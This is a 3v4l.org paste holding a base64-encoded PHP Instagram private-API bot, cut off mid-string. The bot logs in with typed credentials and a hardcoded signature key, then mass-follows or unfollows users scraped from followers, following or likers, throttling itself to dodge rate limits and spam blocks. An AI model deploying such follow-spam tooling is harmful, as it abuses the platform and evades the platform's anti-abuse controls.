3v4l.org

run code in 300+ PHP versions simultaneously
<?php $str = 'c2V0X3RpbWVfbGltaXQoMCk7DQoNCmNsYXNzIEluc3RhZ3JhbSB7DQogICAgDQogICAgcHVibGljICR1c2VyOw0KICAgIHByaXZhdGUgJHNpZ25hdHVyZUtleTsNCiAgICBwdWJsaWMgJGlzX2xvZ2dlZCA9IGZhbHNlOw0KICAgIHB1YmxpYyBzdGF0aWMgJGFwaVVSTCAgICA9ICcvL2kuaW5zdGFncmFtLmNvbS9hcGkvdjEvJzsNCiAgICBwdWJsaWMgc3RhdGljICR1c2VyQWdlbnQgPSAnSW5zdGFncmFtIDYuOS4xIEFuZHJvaWQgKDE1LzQuMC40OyAxNjBkcGk7IDMyMHg0ODA7IFNvbnk7IE1pbmlQcm87IG1hbmdvOyBzZW1jOyBlbl9VcyknOw0KICAgIHB1YmxpYyBzdGF0aWMgJGtleV92ZXIgICA9IDQ7DQogICAgDQogICAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRsb2dpbiwgJHBhc3N3b3JkLCAka2V5KSB7DQogICAgICAgICR0aGlzLT51c2VyID0gWyd1c2VybmFtZSc9PiRsb2dpbiwgJ3Bhc3N3b3JkJz0+JHBhc3N3b3JkXTsNCiAgICAgICAgJHRoaXMtPnNpZ25hdHVyZUtleSA9ICRrZXk7DQogICAgICAgICR0aGlzLT5HVUlEID0gJHRoaXMtPkdlbmVyYXRlR3VpZCgpOw0KICAgICAgICAkdGhpcy0+Y3VybCA9IG5ldyBjVXJsKCR0aGlzLT51c2VyWyd1c2VybmFtZSddLCBzZWxmOjokdXNlckFnZW50KTsNCiAgICAgICAgJHRoaXMtPkF1dGgoKTsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIA0KICAgIHByaXZhdGUgZnVuY3Rpb24gQXV0aCgpIHsNCiAgICAgICAgJHRoaXMtPmluTG9nKCJBdXRoIik7DQogICAgICAgICRsb2dpbiA9ICR0aGlzLT5tYWtlQXBpQ2FsbCgnYWNjb3VudHMvbG9naW4vJywgJHRoaXMtPnVzZXIsIHRydWUsIGZhbHNlKTsNCiAgICAgICAgaWYoaXNzZXQoJGxvZ2luWydzdGF0dXMnXSkgJiYgJGxvZ2luWydzdGF0dXMnXSA9PSAnb2snKSB7DQogICAgICAgICAgICAkdGhpcy0+aW5Mb2coIkxvZ2luIHN1Y2Nlc3MuLlxuTG9nZ2VkIGluIGFzICIuJGxvZ2luWydsb2dnZWRfaW5fdXNlciddWyd1c2VybmFtZSddKTsgLy90b2RvIG1zZ3MgaW4gYXJyYXkNCiAgICAgICAgICAgICR0aGlzLT5pc19sb2dnZWQgPSB0cnVlOw0KICAgICAgICAgICAgJHRoaXMtPnVzZXIgPSAkbG9naW5bJ2xvZ2dlZF9pbl91c2VyJ107DQogICAgICAgIH0gZWxzZSBkaWUoJHRoaXMtPmluTG9nKCdXcm9uZyB1c2VybmFtZS9wYXNzd29yZCcpKTsNCiAgICB9DQoNCg0KICAgIHB1YmxpYyBmdW5jdGlvbiB1cGxvYWRJbWFnZSgkcGF0aCwgJGNhcHRpb24gPSAiIikgew0KICAgICAgICAkdGhpcy0+aW5Mb2coInVwbG9hZEltYWdlIik7DQogICAgICAgIGlmKCFmaWxlX2V4aXN0cygkcGF0aCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIkltYWdlIE5vdCBGb3VuZCIsIDEpOw0KICAgICAgICB9DQoNCiAgICAgICAgJHVwbG9hZCA9IGpzb25fZGVjb2RlKCR0aGlzLT5jdXJsLT5jYWxsKCdodHRwOicuc2VsZjo6JGFwaVVSTC4ndXBsb2FkL3Bob3RvLycsIFsndXBsb2FkX2lkJz0+dGltZSgpLCAncGhvdG8nPT4nQCcuJHBhdGhdKSwgdHJ1ZSk7DQogICAgICAgIGlmKCFpc3NldCgkdXBsb2FkWyd1cGxvYWRfaWQnXSkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIkNhbid0IHVwbG9hZCBwaWN0cnVlIiwgMSk7DQogICAgICAgIH0NCiAgICAgICAgJGNvbmZpZ3VyZSA9ICR0aGlzLT5tYWtlQXBpQ2FsbCgnbWVkaWEvY29uZmlndXJlLycsIFsndXBsb2FkX2lkJz0+JHVwbG9hZFsndXBsb2FkX2lkJ10sICdjYXB0aW9uJz0+JGNhcHRpb24sICdzb3VyY2VfdHlwZSc9PjEsICdmaWx0ZXJfdHlwZSc9PjAsJ2V4dHJhJz0+J3t9J10sIHRydWUpOw0KICAgICAgICBwcmludF9yKCRjb25maWd1cmUpOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRVc2VycygkZnJvbSwgJGRhdGEsICRjb3VudCkgew0KICAgICAgICAkdGhpcy0+aW5Mb2coImdldFVzZXJzIik7DQogICAgICAgICRmcm9tbGlzdCA9IFsnZm9sbG93ZXJzJywgJ2ZvbGxvd2luZycsICdsaWtlcyddOw0KICAgICAgICAkbGlzdCA9IFtdOw0KICAgICAgICBpZighaXNzZXQoJGZyb20pIHx8ICFpbl9hcnJheSgkZnJvbSwgJGZyb21saXN0KSkgZGllKCJmcm9tIGdldCB1c2Vycz8iKTsNCg0KICAgICAgICBpZigkZnJvbSA9PSAnZm9sbG93aW5nJyB8fCAkZnJvbSA9PSAnZm9sbG93ZXJzJykgew0KICAgICAgICAgICAgJHVzZXJzID0gJHRoaXMtPmdldFVzZXJzQnlSZWxhdGlvbnNoaXBzKCRmcm9tLCAkZGF0YVsnaWQnXSwgJGNvdW50KTsNCiAgICAgICAgfSBlbHNlaWYgKCRmcm9tID09ICdsaWtlcycpIHsNCiAgICAgICAgICAgICR1c2VycyA9ICR0aGlzLT5nZXRVc2Vyc0Zyb21MaWtlcygkZGF0YVsnbWVkaWEnXSwgJGNvdW50KTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcmV0dXJuIG5ldyBVc2VyQWN0aW9ucygkdGhpcywgYXJyYXlfc2xpY2UoJHVzZXJzLCAwLCAkY291bnQpKTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0Tm90TXV0dWFsUmVsYXRpb25zaGlwcygpIHsNCg0KICAgICAgICAkZm9sbG93ZXJzID0gJHRoaXMtPmdldFVzZXJzQnlSZWxhdGlvbnNoaXBzKCdmb2xsb3dlcnMnLCAkdGhpcy0+dXNlclsncGsnXSwgOTk5OTk5OSk7IA0KICAgICAgICAkZm9sbG93aW5nID0gJHRoaXMtPmdldFVzZXJzQnlSZWxhdGlvbnNoaXBzKCdmb2xsb3dpbmcnLCAkdGhpcy0+dXNlclsncGsnXSwgOTk5OTk5OSk7IA0KDQoNCiAgICAgICAgJGxpc3QgPSAkZm9sbG93aW5nOw0KDQogICAgICAgIGZvcmVhY2ggKCRmb2xsb3dpbmcgYXMgJGtleSA9PiAkdXNlcikgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGxvd2VycyBhcyAkZm9sbG93ZXIpIHsNCiAgICAgICAgICAgICAgICBpZigkdXNlclsncGsnXSA9PT0gJGZvbGxvd2VyWydwayddKSB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCRsaXN0WyRrZXldKTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgJHRoaXMtPmluTG9nKCJOb3QgbXV0dWFsIHJlbGF0aW9uc2hpcHM6ICIuY291bnQoJGxpc3QpKTsNCiAgICAgICAgcmV0dXJuIG5ldyBVc2VyQWN0aW9ucygkdGhpcywgJGxpc3QpOw0KDQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldFVzZXJzRnJvbUxpa2VzKCRtZWRpYSwgJGNvdW50KSB7DQogICAgICAgICR0aGlzLT5pbkxvZygiZ2V0VXNlcnNGcm9tTGlrZXMiKTsNCiAgICAgICAgJGxpc3QgPSBbXTsNCiAgICAgICAgJHJlcSA9ICR0aGlzLT5tYWtlQXBpQ2FsbCgnbWVkaWEvJy4kbWVkaWEuJy9saWtlcnMvJyk7DQogICAgICAgIHJldHVybiAkcmVxWyd1c2VycyddOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRVc2Vyc0J5UmVsYXRpb25zaGlwcygkZnJvbSwgJGlkLCAkY291bnQpIHsNCiAgICAgICAgJHRoaXMtPmluTG9nKCJnZXRVc2Vyc0J5UmVsYXRpb25zaGlwcyAiLiRmcm9tKTsNCiAgICAgICAgJGZyb21saXN0ID0gWyJmb2xsb3dlcnMiLCAiZm9sbG93aW5nIl07DQogICAgICAgIGlmKCFpc3NldCgkZnJvbSkgfHwgIWluX2FycmF5KCRmcm9tLCAkZnJvbWxpc3QpKSBkaWUoImZyb20gZ2V0IHVzZXJzPyIpOw0KDQogICAgICAgICRsaXN0ID0gW107DQoNCiAgICAgICAgd2hpbGUoY291bnQoJGxpc3QpIDwgJGNvdW50KSB7DQogICAgICAgICAgICAkcmVxID0gJHRoaXMtPm1ha2VBcGlDYWxsKCdmcmllbmRzaGlwcy8nLiRpZC4nLycuJGZyb20uJy8/bWF4X2lkPScuJG1heF9pZCk7DQogICAgICAgICAgICAkbGlzdCA9IGFycmF5X21lcmdlKCRsaXN0LCAkcmVxWyd1c2VycyddKTsNCiAgICAgICAgICAgIGlmKGlzc2V0KCRyZXFbJ25leHRfbWF4X2lkJ10pKSB7DQogICAgICAgICAgICAgICAgJG1heF9pZCA9ICRyZXFbJ25leHRfbWF4X2lkJ107DQogICAgICAgICAgICB9IGVsc2UgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIGFycmF5X3NsaWNlKCRsaXN0LCAwLCAkY291bnQpOw0KICAgIH0NCg0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNlYXJjaFVzZXJCeVVzZXJuYW1lKCR1c2VybmFtZSkgew0KICAgICAgICAkdGhpcy0+aW5Mb2coInNlYXJjaFVzZXJCeVVzZXJuYW1lICIuJHVzZXJuYW1lKTsNCiAgICAgICAgJHJlcSA9ICR0aGlzLT5tYWtlQXBpQ2FsbCgndXNlcnMvc2VhcmNoLz9xdWVyeT0nLiR1c2VybmFtZSlbJ3VzZXJzJ11bMF07DQogICAgICAgIGlmKCFpc3NldCgkcmVxWydwayddKSkgew0KICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiVXNlciBub3IgZm91bmQiLCAxKTsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJHJlcTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TWVkaWEoJGlkLCAkY291bnQpIHsNCiAgICAgICAgJHRoaXMtPmluTG9nKCJnZXRNZWRpYSAiLiRpZCk7DQogICAgICAgIA0KICAgICAgICAkbGlzdCA9IFtdOw0KDQogICAgICAgIHdoaWxlKGNvdW50KCRsaXN0KSA8ICRjb3VudCkgew0KICAgICAgICAgICAgJHJlcSA9ICR0aGlzLT5tYWtlQXBpQ2FsbCgnZmVlZC91c2VyLycuJGlkLicvP21heF9pZD0nLiRtYXhfaWQpOw0KICAgICAgICAgICAgDQogICAgICAgICAgICBpZihlbmQoJHJlcVsnaXRlbXMnXSlbJ2lkJ10gIT0gJG1heF9pZCkgew0KICAgICAgICAgICAgICAgICRtYXhfaWQgPSBlbmQoJHJlcVsnaXRlbXMnXSlbJ2lkJ107DQogICAgICAgICAgICB9IGVsc2UgYnJlYWs7DQogICAgICAgICAgICANCiAgICAgICAgICAgICRsaXN0ID0gYXJyYXlfbWVyZ2UoJGxpc3QsICRyZXFbJ2l0ZW1zJ10pOyANCg0KICAgICAgICB9DQogICAgICAgIHJldHVybiBhcnJheV9zbGljZSgkbGlzdCwgMCwgJGNvdW50KTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gRm9sbG93KCR1aWQsICRkZXN0cm95ID0gZmFsc2UpIHsNCiAgICAgICAgJHJlcXVlc3QgPSAkdGhpcy0+bWFrZUFwaUNhbGwoJ2ZyaWVuZHNoaXBzLycuKCRkZXN0cm95ID8gJ2Rlc3Ryb3kvJyA6J2NyZWF0ZS8nKS4kdWlkLicvJywgWyd1c2VyX2lkJz0+JHVpZF0pOw0KICAgICAgICByZXR1cm4gJHJlcXVlc3Q7DQogICAgfQ0KDQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaW5Mb2coJHN0cikgew0KICAgICAgICBlY2hvIEBkYXRlKCJbSDppOnNdOiAiKS4kc3RyLlBIUF9FT0w7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIG1ha2VBcGlDYWxsKCRtZXRob2QsICRwYXJhbXMgPSBbXSwgJHNzbCA9IGZhbHNlLCAkdXNlX2Nvb2tpZSA9IHRydWUpIHsNCiAgICAgICAgJGRlZmF1bHRSZXF1ZXN0Qm9keSA9IFsNCiAgICAgICAgICAgICJkZXZpY2VfaWQiPT4nYW5kcm9pZC0nLiR0aGlzLT5HVUlELA0KICAgICAgICAgICAgImd1aWQiPT4kdGhpcy0+R1VJRCwNCiAgICAgICAgICAgICJDb250ZW50LVR5cGUiPT4iYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkOyBjaGFyc2V0PVVURi04Ig0KICAgICAgICBdOw0KICAgICAgICBpZighZW1wdHkoJHBhcmFtcykpIHsNCiAgICAgICAgICAgICRwYXJhbXMgPSBqc29uX2VuY29kZShhcnJheV9tZXJnZSgkZGVmYXVsdFJlcXVlc3RCb2R5LCAkcGFyYW1zKSk7DQogICAgICAgICAgICAkc2lnbmVkQm9keSA9ICdzaWduZWRfYm9keT0nLiR0aGlzLT5nZW5lcmF0ZVNpZygkcGFyYW1zKS4iLiIudXJsZW5jb2RlKCRwYXJhbXMpLicmaWdfc2lnX2tleV92ZXJzaW9uPScuc2VsZjo6JGtleV92ZXI7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIGpzb25fZGVjb2RlKCR0aGlzLT5jdXJsLT5jYWxsKCgkc3NsID8gJ2h0dHBzOicgOiAnaHR0cDonKS5zZWxmOjokYXBpVVJMLiRtZXRob2QsICRzaWduZWRCb2R5LCAkdXNlX2Nvb2tpZSksIHRydWUpOw0KICAgIH0NCiAgICANCiAgICBwcml2YXRlIGZ1bmN0aW9uIGdlbmVyYXRlU2lnKCRzdHIpIHsNCiAgICAgICAgcmV0dXJuIGhhc2hfaG1hYygnc2hhMjU2JywgJHN0ciwgJHRoaXMtPnNpZ25hdHVyZUtleSk7DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBHZW5lcmF0ZUd1aWQoKSB7DQogICAgICAgIHJldHVybiBzcHJpbnRmKCclMDR4JTA0eC0lMDR4LSUwNHgtJTA0eC0lMDR4JTA0eCUwNHgnLCANCiAgICAgICAgICAgIG10X3JhbmQoMCwgNjU1MzUpLCANCiAgICAgICAgICAgIG10X3JhbmQoMCwgNjU1MzUpLCANCiAgICAgICAgICAgIG10X3JhbmQoMCwgNjU1MzUpLCANCiAgICAgICAgICAgIG10X3JhbmQoMTYzODQsIDIwNDc5KSwgDQogICAgICAgICAgICBtdF9yYW5kKDMyNzY4LCA0OTE1MSksIA0KICAgICAgICAgICAgbXRfcmFuZCgwLCA2NTUzNSksIA0KICAgICAgICAgICAgbXRfcmFuZCgwLCA2NTUzNSksIA0KICAgICAgICAgICAgbXRfcmFuZCgwLCA2NTUzNSkNCiAgICAgICAgKTsNCiAgICB9DQoNCiAgICANCn0NCg0KY2xhc3MgVXNlckFjdGlvbnMgZXh0ZW5kcyBJbnN0YWdyYW0gew0KICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRwYXJlbnQsICRsaXN0KSB7DQogICAgICAgICR0aGlzLT5wYXJlbnQgPSAkcGFyZW50Ow0KICAgICAgICAkdGhpcy0+bGlzdCA9ICRsaXN0Ow0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGZhc3RGb2xsb3coKSB7DQogICAgICAgICR0aGlzLT5pbkxvZygiZmFzdEZvbGxvdyIpOw0KICAgICAgICAkcXVldWUgPSBbXTsNCiAgICAgICAgJHVzZXJzID0gJHRoaXMtPnVzZXJzV2l0aFN0YXR1cygkdGhpcy0+bGlzdCwgIm5vdGZvbGxvd2VkIik7DQogICAgICAgIGZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgew0KICAgICAgICAgICAgaWYoY291bnQoJHF1ZXVlKSA+PSAyNSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5wYXJlbnQtPm1ha2VBcGlDYWxsKCdmcmllbmRzaGlwcy9jcmVhdGVfbWFueS9hc3luYy8nLCBbInVzZXJfaWRzIj0+aW1wbG9kZSgnLCcsICRxdWV1ZSldKTsNCiAgICAgICAgICAgICAgICBzbGVlcCg1KTsNCiAgICAgICAgICAgICAgICAkcXVldWUgPSBbXTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHF1ZXVlW10gPSAkdXNlclsncGsnXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZihjb3VudCgkcXVldWUpKSANCiAgICAgICAgICAgICR0aGlzLT5wYXJlbnQtPm1ha2VBcGlDYWxsKCdmcmllbmRzaGlwcy9jcmVhdGVfbWFueS9hc3luYy8nLCBbInVzZXJfaWRzIj0+aW1wbG9kZSgnLCcsICRxdWV1ZSldKTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gdXNlcnNXaXRoU3RhdHVzKCR1c2VycywgJHN0YXR1cykgew0KICAgICAgICAkdGhpcy0+aW5Mb2coInVzZXJzV2l0aFN0YXR1cyAkc3RhdHVzIik7DQoNCiAgICAgICAgLyoqDQogICAgICAgICogICAgcmV0dXJuIG5vdD9mb2xsb3dlZCB1c2VycyBhcnJheQ0KICAgICAgICAqICAgDQogICAgICAgICovDQogICAgICAgICR1c2VyaWRzID0gW107DQoNCiAgICAgICAgJHN0YXR1c2VzID0gWyJmb2xsb3dlZCIsIm5vdGZvbGxvd2VkIl07DQogICAgICAgIGlmKCFpbl9hcnJheSgkc3RhdHVzLCAkc3RhdHVzZXMpKSBkaWUoInN0YXR1cyBtaXNzaW4iKTsNCg0KICAgICAgICBmb3JlYWNoICgkdXNlcnMgYXMgJHVzZXIpIHsNCiAgICAgICAgICAgICR1c2VyaWRzW10gPSAkdXNlclsncGsnXTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgZm9yZWFjaCAoYXJyYXlfY2h1bmsoJHVzZXJpZHMsIDM1MCkgYXMgJGNodW5rKSB7DQogICAgICAgICAgICAkcmVxID0ganNvbl9kZWNvZGUoJHRoaXMtPnBhcmVudC0+Y3VybC0+Y2FsbCgnaHR0cDovL2kuaW5zdGFncmFtLmNvbS9hcGkvdjEvZnJpZW5kc2hpcHMvc2hvd19tYW55LycsICJ1c2VyX2lkcz0iLmltcGxvZGUoJywnLCAkY2h1bmspKSwgdHJ1ZSk7DQogICAgICAgICAgICBmb3JlYWNoICgkcmVxWydmcmllbmRzaGlwX3N0YXR1c2VzJ10gYXMgJHVzZXIgPT4gJGN1cnJlbnRTdGF0dXMpIHsNCiAgICAgICAgICAgICAgICAka2V5ID0gYXJyYXlfc2VhcmNoKCR1c2VyLCAkdXNlcmlkcyk7DQogICAgICAgICAgICAgICAgLy9wcmludF9yKCR1c2VyKTsNCiAgICAgICAgICAgICAgICAvL2VjaG8gIktFWTogIi4ka2V5LlBIUF9FT0w7DQogICAgICAgICAgICAgICAgaWYoJHN0YXR1cyA9PSAibm90Zm9sbG93ZWQiICYmICgkY3VycmVudFN0YXR1c1snZm9sbG93aW5nJ10gPT0gdHJ1ZSB8fCAkY3VycmVudFN0YXR1c1snaXNfcHJpdmF0ZSddID09IHRydWUgfHwgJGN1cnJlbnRTdGF0dXNbJ291dGdvaW5nX3JlcXVlc3QnXSA9PSB0cnVlKSkgew0KICAgICAgICAgICAgICAgICAgICB1bnNldCgkdXNlcmlkc1ska2V5XSk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYoJHN0YXR1cyA9PSAiZm9sbG93ZWQiICYmICgoJGN1cnJlbnRTdGF0dXNbJ2ZvbGxvd2luZyddICE9IHRydWUgJiYgJGN1cnJlbnRTdGF0dXNbJ291dGdvaW5nX3JlcXVlc3QnXSA9PSBmYWxzZSkgfHwgKCRjdXJyZW50U3RhdHVzWydmb2xsb3dpbmcnXSA9PSBmYWxzZSAmJiAkY3VycmVudFN0YXR1c1snb3V0Z29pbmdfcmVxdWVzdCddICE9IHRydWUpKSkgew0KICAgICAgICAgICAgICAgICAgICB1bnNldCgkdXNlcmlkc1ska2V5XSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCg0KICAgICAgICBmb3JlYWNoICgkdXNlcnMgYXMgJGtleSA9PiAkdXNlcikgew0KICAgICAgICAgICAgaWYoIWluX2FycmF5KCR1c2VyWydwayddLCAkdXNlcmlkcykpIHsNCiAgICAgICAgICAgICAgICB1bnNldCgkdXNlcnNbJGtleV0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCg0KICAgICAgICByZXR1cm4gJHVzZXJzOw0KDQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlbGF0aW9uc2hpcHMoJGFjdGlvbikgew0KDQogICAgICAgICR0aGlzLT5pbkxvZygicmVsYXRpb25zaGlwcyIpOw0KDQogICAgICAgIC8qKg0KICAgICAgICAgKiAgICAgIGFjdGlvbnMgPSBmb2xsb3csIHVuZm9sbG93DQogICAgICAgICAqLw0KDQoNCiAgICAgICAgJGFjdGlvbnMgPSBbImZvbGxvdyIsInVuZm9sbG93Il07DQoNCiAgICAgICAgaWYoIWlzc2V0KCRhY3Rpb24pIHx8ICFpbl9hcnJheSgkYWN0aW9uLCAkYWN0aW9ucykpIGRpZSgiTm8gYWN0aW9uIGZvciBmb2xsb3dlcnMiKTsNCiAgICAgICAgJGNvdW50ZXIgPSAwOw0KICAgICAgICANCiAgICAgICAgJHR5cGUgPSAoJGFjdGlvbiA9PSAiZm9sbG93IiA/ICJub3Rmb2xsb3dlZCIgOiAiZm9sbG93ZWQiKTsNCg0KICAgICAgICAkdXNlcnMgPSAkdGhpcy0+dXNlcnNXaXRoU3RhdHVzKCR0aGlzLT5saXN0LCAkdHlwZSk7DQoNCiAgICAgICAgJHRoaXMtPmluTG9nKCJUbyAiLiRhY3Rpb24uIjogIi5jb3VudCgkdXNlcnMpKTsNCg0KDQogICAgICAgIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKSB7DQogICAgICAgICAgICAkcmVxID0gJHRoaXMtPnBhcmVudC0+Rm9sbG93KCR1c2VyWydwayddLCAkYWN0aW9uID09ICJ1bmZvbGxvdyIgPyB0cnVlIDogZmFsc2UpOw0KICAgICAgICAgICAgaWYoJHJlcVsnc3RhdHVzJ10gPT0gJ29rJykgew0KICAgICAgICAgICAgICAgICR0aGlzLT5pbkxvZygiRG9uZTogIi4rKyRjb3VudGVyKTsNCiAgICAgICAgICAgICAgICBzbGVlcChyYW5kKDIsNikpOw0KICAgICAgICAgICAgfSBlbHNlaWYoJHJlcVsnbWVzc2FnZSddID09ICJTb3JyeSwgdG9vIG1hbnkgcmVxdWVzdHMuIFBsZWFzZSB0cnkgYWdhaW4gbGF0ZXIuIikgew0KICAgICAgICAgICAgICAgICR0aGlzLT5pbkxvZygiTGltaXQiKTsNCiAgICAgICAgICAgICAgICBzbGVlcChyYW5kKDIwMCwzMDApKTsNCiAgICAgICAgICAgIH0gZWxzZWlmKCRyZXFbJ3NwYW0nXSA9PSB0cnVlICYmICRyZXFbJ2ZlZWRiYWNrX3RpdGxlJ10gPT0gIllvdZJyZSBUZW1wb3JhcmlseSBCbG9ja2VkIikgew0KICAgICAgICAgICAgICAgIHByaW50X3IoJHJlcSk7DQogICAgICAgICAgICAgICAgZGllKCR0aGlzLT5pbkxvZygiYmFuIikpOw0KICAgICAgICAgICAgfSBlbHNlIHByaW50X3IoJHJlcSk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRjb3VudGVyOw0KICAgIH0NCn0NCg0KY2xhc3MgY1VybCB7DQoNCiAgICBwdWJsaWMgJGNvb2tpZUZpbGVOYW1lOw0KICAgIHB1YmxpYyAkdWE7DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJGNvb2tpZUZpbGVOYW1lLCAkdWEpIHsNCiAgICAgICAgJHRoaXMtPmNvb2tpZUZpbGVOYW1lID0gJGNvb2tpZUZpbGVOYW1lOw0KICAgICAgICAkdGhpcy0+dWEgPSAkdWE7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY2FsbCgkdXJsLCAkcG9zdCA9IGZhbHNlLCAkdXNlX2Nvb2tpZSA9IHRydWUpIHsNCiAgICAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKXsNCiAgICAgICAgICAgIGRpZSgnY1VybCByZXF1aXJlZCcuUEhQX0VPTCk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHRoaXMtPnVhKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgZmFsc2UpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDkwKTsNCiAgICAgICAgaWYoJHBvc3QpIHsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAkcG9zdCk7DQogICAgICAgIH0NCiAgICAgICAgaWYoJHVzZV9jb29raWUpDQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJHRoaXMtPmNvb2tpZUZpbGVOYW1lLidjb29raWVzLnR4dCcpOyAgICAgICAgICAgIA0KICAgICAgICBlbHNlDQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkdGhpcy0+Y29va2llRmlsZU5hbWUuJ2Nvb2tpZXMudHh0Jyk7DQoNCiAgICAgICAgLy9jdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUFJPWFksICIxMjcuMC4wLjE6ODg4OCIpOw0KICAgICAgICAkcmVzID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICAgICAgcmV0dXJuICRyZXM7DQogICAgfQ0KDQp9DQoNCiR1c2VybmFtZSA9IGFza1NURElOKCJFbnRlciB1c2VybmFtZTogIik7DQokcGFzc3dvcmQgPSBhc2tTVERJTigiRW50ZXIgcGFzc3dvcmQ6ICIpOw0KDQppZighJElHID0gbmV3IEluc3RhZ3JhbSgkdXNlcm5hbWUsICRwYXNzd29yZCwgIjI1YTBhZmQ3NWVkNTdjNjg0MGY5YjE1ZGM2MWYxMTI2YTdjZTE4MTI0ZGY3N2Q3MTU0ZTc3NTZhYWFhNGZjZTQiKSkgew0KCWRpZSgpOw0KfQ0KDQoNCkxvYWRVc2VyKCR1c2VybmFtZSk7DQokYWN0aW9ucyA9IFsnZm9sbG93JywndW5mb2xsb3cnXTsNCiR0b2RvID0gY2hvb3NlU1RESU4oIldoYXQgeW91IHdhbnQgdG8gZG8/IiwgJGFjdGlvbnMpOw0KDQokcmVsYXRpb25zaGlwcyA9IFsnZm9sbG93ZXJzJywgJ2ZvbGxvd2luZycsICdsaWtlcycsICgkYWN0aW9uc1skdG9kb10gPT0gJ3VuZm9sbG93JyA/ICdub3QgbXV0dWFsIHJlbGF0aW9uc2hpcHMnIDogbnVsbCldOw0KJGZyb20gPSBjaG9vc2VTVERJTigiV2hlcmUgZnJvbSB1c2VycyB5b3Ugd2FudCB0byAiLiRhY3Rpb25zWyR0b2RvXS4iPyIsICRyZWxhdGlvbnNoaXBzKTsNCg0KJHVzZXIgPSBhc2tTVERJTigiRW50ZXIgdXNlcm5hbWU6ICIpOw0KDQokSUctPmluTG9nKCJHZXR0aW5nIHVzZXIgaWQuLiIpOw0KJHVzZXJpZCA9ICRJRy0+c2VhcmNoVXNlckJ5VXNlcm5hbWUoJHVzZXIpWydwayddOw0KDQokSUctPmluTG9nKCJTdGFydGluZy4uIik7DQoNCg0KDQppZigkcmVsYXRpb25zaGlwc1skZnJvbV0gPT0gJHJlbGF0aW9uc2hpcHNbMl0pIHsNCgkkSUctPmluTG9nKCJHZXR0aW5nIHVzZXIgbWVkaWEuL